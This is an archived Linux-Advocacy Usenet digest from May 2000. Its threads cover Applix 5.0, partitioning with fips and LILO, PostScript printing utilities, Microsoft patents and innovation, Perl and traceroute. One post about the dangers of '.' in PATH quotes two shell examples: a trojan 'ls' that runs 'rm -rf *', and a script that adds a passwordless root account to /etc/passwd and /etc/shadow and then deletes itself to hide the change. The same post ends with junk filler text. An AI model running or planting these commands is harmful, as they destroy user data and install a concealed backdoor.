Linux-Advocacy Digest #360, Volume #26 Thu, 4 May 00 05:13:07 EDT
Contents:
Re: Applix 5.0 it's getting better! (Jim Richardson)
Re: Help ... ... P l e a s e ? (tom)
Re: Help ... ... P l e a s e ? (tom)
Re: at the risk of ignorance...a little too late for that (Karl Knechtel)
Re: Microsoft Office Linux Edition! (Lee Sau Dan)
Re: Microsoft Office Linux Edition! (Lee Sau Dan)
Re: Dvorak calls Microsoft on 'innovation' (Loren Petrich)
Re: Who is "S"?? (Donn Miller)
Questions about trace route? ("Pig")
Re: Questions about trace route? (Donn Miller)
----------------------------------------------------------------------------
From: [EMAIL PROTECTED] (Jim Richardson)
Subject: Re: Applix 5.0 it's getting better!
Reply-To: [EMAIL PROTECTED]
Date: Thu, 04 May 2000 04:11:20 GMT
On Wed, 03 May 2000 22:57:19 -0500,
Streamer, in the persona of <[EMAIL PROTECTED]>,
brought forth the following words...:
>Charlie Ebert wrote:
>
>> YEAH!!! I'm getting it next!
>
>I finally got my Applixware 5.0 two business days late <Thanks UPS>. After
>playing with it today I would say it was well worth the $99 to get an
>office suite that does everything MS Office does. I even imported a MS
>powerpoint document and Applix imported it with no problems. It is also
>faster than the previous version I ran; The use of the gtk libraries seem
>to really help.
>
>
>
This (applix 5.0) has shown up at Fry's Electronics for $99, I am going to pick
it up this weekend. It's worth it for the spreadsheet alone. (I like gnumeric,
but it's not quite "there" yet.)
--
Jim Richardson
Anarchist, pagan and proud of it
WWW.eskimo.com/~warlock
Linux, because life's too short for a buggy OS.
------------------------------
From: tom <[EMAIL PROTECTED]>
Subject: Re: Help ... ... P l e a s e ?
Date: Thu, 04 May 2000 04:06:32 GMT
Okay, we're bumping up against the edge of my technical know-how, so
let me just give a couple more details on what I did.
My c: drive is 8.6G (FAT32), of which I had around 6.5G free. After
doing a scandisk & defrag, I rebooted with a boot disk containing fips
and carved 2G off the tail end of the drive for Linux. At this point,
Windows did not recognize the new partition (although of course it knew
free space had shrunk by 2G) and for some reason, I thought that I
could not install before it did, so I formatted it (from DOS, not
fips). I don't know if it's called a logical drive, DOS partition or
what, but it's showing up in Explorer as a separate drive.
I don't know what you mean by "native partition". Does that refer to
the 2G's state BEFORE I formatted it, when Windows didn't recognize it?
(with no existing file system)
As far as your reference to umsdos, Armed Linux would have used this (&
I did get it to install, but it wouldn't boot). However, Caldera 2.3
and Corel are regular, full versions of Linux. Maybe that's the issue?
(the partition needs to be formatted in Linux's file system?)
Tom
In article <[EMAIL PROTECTED]>,
John Travis <[EMAIL PROTECTED]> wrote:
> If you have enough room to install it to a dos partition, then you
have
> enough room to shrink your fat/fat32 partition(s) and set linux up on
a
> native. I didn't see the original message so I am not sure exactly
what
> problems you are having. In my opinion you should take the offer for
> the mandrake cd. I have used them both and I much prefer mandrake.
>
> P.S. What are you talking about when you say you are formatting the
> partition with fips. If you are just installing it to a umsdos
> partition than you shouldn't have to do anything as far as
formatting.
> Just let the installer set it all up for you.
>
> jt
>
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
From: tom <[EMAIL PROTECTED]>
Subject: Re: Help ... ... P l e a s e ?
Date: Thu, 04 May 2000 04:12:42 GMT
In article <[EMAIL PROTECTED]>,
[EMAIL PROTECTED] wrote:
> No, you just need enough available space on the current drive to use
> fips or partition magic, or partition resizer to squeeze windows over
a bit.
Actually, I thought that's what I did. Of the appr. 6.5G available, I
carved 2G off the tail end to dedicate to Linux.
So the install program isn't smart enough to recognize where it's being
put and handle the boot setup on it's own, eh? I've heard the
names "LILO" and "Loadlin", and I know they have something to do with
booting, but what are they about and how do I set up one or the other?
(or is this a "read the HOW-TO" situation?)
Tom
> Caveat, windows want's to be (probably won't boot at all if it isn't)
on the
> first partition of the master (for IDE) drive. Linux doesn't care
where
> the / (root) filesystem is, but some bios require that the kernel be
entirely
> below the first 1024 cylinders. That's for lilo, you can avoid that
by using
> loadlin to fire up linux from a dos or windows session.
>
> --
> Jim Richardson
> Anarchist, pagan and proud of it
> WWW.eskimo.com/~warlock
> Linux, because life's too short for a buggy OS.
>
>
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
From: Karl Knechtel <[EMAIL PROTECTED]>
Crossposted-To: rec.games.roguelike.nethack
Subject: Re: at the risk of ignorance...a little too late for that
Date: Thu, 04 May 2000 01:32:18 -0400
Reply-To: [EMAIL PROTECTED]
[EMAIL PROTECTED] wrote:
> David Steinberg <[EMAIL PROTECTED]> spewed this unto the Network:
>
> >There is a simple security reason for it.
> >
> >Say some nasty person manages to put a shell script like this
> >
> >#!/bin/sh
> >rm -rf *
> >
> >in your home directory, calls it "ls," and makes it executible. The first
> >time you type "ls" in your home directory, you lose all your personal
> >data. Oops!
>
Yes, but I was talking about this in the context of a single-user system.
>
> That's what you get for making your home directory world-writable.
> Now say you're the super-user, and you go into someone else's home
> directory and run this:
>
> #!/bin/bash
>
> # Append an unpassworded super-user to /etc/passwd and /etc/shadow
> # and pray that this isn't System V:
>
> echo 'evil::0:0:Root of All Evil:/:/bin/bash' >> /etc/passwd
> echo 'evil::10865:0:99999:7:::' >> /etc/shadow
>
> # Now prevent the admin from discovering the hack:
>
> rm -f $0
> exec /bin/ls "$@"
>
> # Now here's a security hole.
> # End of program.
But if you're already "the super-user", what's the point?
Karl Knechtel {:>
Zahlman-Ran-Elf-Mal-Cha
da728 at torfree dot net <-- nope, still not working.
*** additional random text to comply with Netscrape's inane quoted-length vs.
contributed-length bickering - sorry folks, I'll be using rtin again as soon as
it's possible, honest! ***
salkfjdlksfj
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lfdsjfhoghe
;ogdfbnuoho
iew;gn[gn
otmvewatog
ratothaeoiaw
;vthmeoithoi
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wtmeoiwct
heoiwatjvm
genaguoim
efogh;yerig
s dohad eor
a;ihahgelrhy
oaiwpghdm
hwavjtwam
y elgjvjm;oa
thmkvdsger
htoihasmvehst
ajt psjtmv je
rmtac;wtjpw
a mityjv mts
ajv ptja;mlaj
adlsgnl
------------------------------
From: Lee Sau Dan <[EMAIL PROTECTED]>
Subject: Re: Microsoft Office Linux Edition!
Date: 04 May 2000 14:14:21 +0800
>>>>> "Mike" == Mike <[EMAIL PROTECTED]> writes:
Mike> To me, there are several problems with the current model:
Mike> 1. You write X calls (or whatever) to display on the screen,
Mike> then write Postscript code to print on the printer. It's
Mike> very difficult to make the two look the same. It would be
Mike> much nicer to write display code once for both
Mike> devices. Differences between the screen and the printer
Mike> would be fixed for every application by changing the driver.
If you want it, you can call Ghostscript from your program and tell it
to draw on a window that YOU designate. Ghostview and gv both use
this feature to display postscript in the windows that they control.
Mike> 2. There's no feedback from the Postscript engine. The place
Mike> I've run into this is in printing a simple X-Y plot. There
Mike> are horizontal labels on the left hand side, which are
Mike> allowed over 5" of width when printed, even though the text
Mike> only takes about 3". The problem doesn't show up on the
Mike> screen, because the display system can be queried for the
Mike> width of the labels before it displays them. It then sets
Mike> the left side of the plot to the right side of the text,
Mike> with a small margin, and proceeds on its way. There's no way
Mike> to query the PostScript engine when you're writing the
Mike> PostScript code, so you either have to write more complex
Mike> PostScript,
So, you are at least aware of the postscript operator "stringwidth".
Mike> that implements the program to query the engine,
Mike> and scales the remainder of the plot, or you fix the width
Mike> to a value that won't cut off the labels no matter what. Our
Mike> vendor did the latter rather than try to write a program
Mike> that writes a PostScript program, which effectively means
Mike> that we can't print to 8 1/2 x 11 sheets. This is a huge
Mike> pain in the ass, and is made even worse by the vastly better
Mike> printouts that come from the Windows version of the product.
Have you heard of afm (Adobe Font Metric) files, which describes the
font metrics of the built-in Postscript fonts? What more, afm files
may have kerning and ligature information, which can be exploited by
high quality typesetting programs. (Yes, LaTeX does it, by the help
of a utility program that translates afm to tfm (TeX Font Metric).)
Mike> 3. The application has no way to know or find out what the
Mike> printer is capable of. Single sided? Duplex? E-Size?
Mike> Envelopes? Transparencies? Color?
Ever heard of PPD (Postscript Printer Description?) files? The Adobe
Postscript printer driver ***for Windows*** does make wise use of PPD
files. Other Postscript printer drivers for Windows generally can
handle PPD files. The PPD file for your printer usually comes with
its drivers, but many can be found on the Web, too!
Mike> 4. Consistency. Every graphical application I run in Unix
Mike> has a different idea about what printing should be like, and
Mike> how to ask me about it. The vast majority of them can't even
Mike> give me a list of available printers. None of them know
Mike> about our big plotters. Printing a schematic to a plotter is
Mike> either a nightmare of Postscript file translation or a
Mike> nightmare of application fiddling. Either way, it's error
Mike> prone and time consuming.
There are some standard plotter file format. You just aren't aware of
them.
Mike> 5. There are some really nice things you can do with a
Mike> printer driver, to take advantage of the capabilities of a
Mike> particular printer (or just because it's cool). The driver
Mike> for my HP 882C printer lets me scale and print two portrait
Mike> pages side by side in landscape mode on one sheet of paper,
Mike> regardless of the application (it'll do four pages too, if
Mike> your eyes are good enough).
Heard of 'mpage'? It's a utility that reads in a Postscript file and
generates 2-on-1, 4-on-1 or even 8-on-1 printouts (in Postscript).
What's more, the output of 'mpage' is just a Postscript file, and
hence can be further processed by other Postscript tools, such as to
shuffle the ordering of the pages, print only odd-numbered pages,
selecting the pages to be printed, adding watermarks, etc. You can
also re-mpage the output to greedily produce 64-on-1 printouts!!!!
I don't think such a feature should be 'hard-coded' into the printer
driver. There are so many desirable manipulations that may be done
before the Postscript file is sent to the printer.
Mike> The application still thinks
Mike> it's printing on one portrait page;
This has been the case for a decade on Unixes, using Postscript
manipulation programs such as mpage.
Mike> the driver takes care of
Mike> rotation and scaling.
In the case of UNIX, the driver doesn't have to care about these.
Separate utilities take care of them. The utilities are relatively
orthogonal to each other. So, you can do any combination of 'mpage',
page selection, watermark adding, and loop over these operations until
you get the desired results. You can even embed a resulting
Postscript page into another document as a diagram, by means of EPS.
Mike> By putting this capability in the
Mike> driver, it's given to every application.
By separating out this orthogonal function from the printer driver,
you have even greater freedom of how to use it. For example, you can
print 4-on-1 inside 4-on-1 inside 4-on-1. That can save much paper,
especially when you're printing slides which have only a few words per
slide.
--
Lee Sau Dan §õ¦u´°(Big5) ~{@nJX6X~}(HZ)
.----------------------------------------------------------------------------.
| e-mail: [EMAIL PROTECTED] http://www.csis.hku.hk/~sdlee |
`----------------------------------------------------------------------------'
------------------------------
From: Lee Sau Dan <[EMAIL PROTECTED]>
Subject: Re: Microsoft Office Linux Edition!
Date: 04 May 2000 14:35:40 +0800
>>>>> "Christopher" == Christopher Browne <[EMAIL PROTECTED]> writes:
Christopher> Don't _over_read this; I think we'd be _vastly_
Christopher> better off if something like DPS had been widely
Christopher> available as an X service on Linux five years ago.
I can't agree more. Blame that vendor for its discourageous licensing.
Christopher> Having a single API that can be displayed and printed
Christopher> has considerable value. I just don't want to
Christopher> overestimate that value.
It's not that impossible. I've glanced over the Java2D API, and found
that most of its operations have corresponding operators in
Postscript. Conversely, most Postscript graphics operations can be
translated to Java2D API calls. In other words, the graphics models
are basically the same. Of course, Java2D doesn't give you a complete
language (like Postscript) in which you can even write a ray-tracer.
(But you can do that in Java directly.)
With such an API, we can write programs that can generate graphics
that can be both displayed and printed. Plugging in a display
implementation, the API would cause results to be generated on the
screen. Plugging in a printer (or just an adaptor that translates
this API into Postscript) implementation, the same picture can be
printed.
Of course, Adobe tried to achieve this with DPS. However, it didn't
sell it well. Indeed, I find the Postscript graphics model to be very
versatile for 2D graphics. So, an API based on this model (not the
language, but the graphics model) is appropriate.
--
Lee Sau Dan §õ¦u´°(Big5) ~{@nJX6X~}(HZ)
.----------------------------------------------------------------------------.
| e-mail: [EMAIL PROTECTED] http://www.csis.hku.hk/~sdlee |
`----------------------------------------------------------------------------'
------------------------------
From: [EMAIL PROTECTED] (Loren Petrich)
Crossposted-To: comp.os.ms-windows.nt.advocacy,comp.lang.java.advocacy
Subject: Re: Dvorak calls Microsoft on 'innovation'
Date: 4 May 2000 07:02:38 GMT
In article <oh1Q4.4292$[EMAIL PROTECTED]>,
Erik Funkenbusch <[EMAIL PROTECTED]> wrote:
>> So, a hard and fast question: Where is the MS innovation?
>Have you looked at Microsofts 1,227 Patents? By definition, a patent is an
>innovation is it not?
And what ground-breaking innovations do these patents contain?
[Linux as using tried-and-true principles...]
>And where are the Linux patents?
Do they have to exist?
>> Now MS seems to have announced it's intention to include biometrics into
>> the Windows API and all sorts of journalists get excited about it.
>Which OS has biometrics built in?
This is as pointless as a talking paperclip.
All that's really necessary is hooks to whatever authentication
mechanism that the OS supports.
>A standardized Biometrics API is certainly new. Today, if you want to write
>Biometric aware applications, you need to write to someone's API. And
>that's different for each product.
What's the point of having a possibly-Procrustean "standard" at
this stage of the game?
--
Loren Petrich Happiness is a fast Macintosh
[EMAIL PROTECTED] And a fast train
My home page: http://www.petrich.com/home.html
------------------------------
Date: Thu, 04 May 2000 03:04:20 -0400
From: Donn Miller <[EMAIL PROTECTED]>
Subject: Re: Who is "S"??
The Ghost In The Machine wrote:
> and generally being super-stupid-ignorant and a Microsoft cheerleader,
> in the worst sort of way (he'd severely embarrass most of the current
> Winvocates, IMO). I doubt he'd even know how to write a decent
> Basic program (never mind C, C++, Java, Tcl/Tk, Eiffel, or Smalltalk).
> Even LOGO might have been too hard for him :-).
Don't forget Perl and Modula-3. :-) I've been taking a look at Perl
lately, and WOW! The darned thing looks like there's so much stuff
that's been added to it over the years. I've been reading about how
to embed Perl into C programs; I think there's some function calls
provided for that. Also, we may see the day when Perl applets will
rival Java applets, since they both are capable of compiling into
bytecode, and a lot of sites already use Perl for various things,
including cgi scripts. It'll be interesting to see, since Perl has
had some object-oriented HTML extensions put in, and there's also a
graphics Perl lib AFAIK.
Larry Wall looks like he's trapped in the early 70's as far as style
is concerned. :-)
> though -- although it can't be horribly difficult for someone who
> knows C++ intimately, Java quite well, Fortran, COBOL, various assemblers,
I think programming in Java can help a person's C++ programming
skills, and vice versa. Or, do you think knowing one hurts your
programming skills in the other? I know C++ and Java a quite
different in a lot of respects, but on the surface, they appear
syntactically similar.
- Donn
------------------------------
From: "Pig" <[EMAIL PROTECTED]>
Subject: Questions about trace route?
Date: Thu, 4 May 2000 16:45:24 +0800
Hi All:
I am now using the Win98 and SuSE Linux.
I remember that there is a command name "trace route" or "route trace".
This cammand is like the command "ping".
Once I type
[command] www.ibm.com
The screen shows the route including the gateway, DNS, ... ...
As I forget the command,
Could you please help me to figure it out?
Pls. reply me to the e-mail
[EMAIL PROTECTED]
Thanks.
------------------------------
Date: Thu, 04 May 2000 04:56:16 -0400
From: Donn Miller <[EMAIL PROTECTED]>
Subject: Re: Questions about trace route?
Pig wrote:
> I am now using the Win98 and SuSE Linux.
> I remember that there is a command name "trace route" or "route trace".
> This cammand is like the command "ping".
> Once I type
> [command] www.ibm.com
> The screen shows the route including the gateway, DNS, ... ...
>
> As I forget the command,
> Could you please help me to figure it out?
It's "traceroute". You could've just typed "trace" and then <tab> (if
you're using bash as your shell).
- Donn
------------------------------
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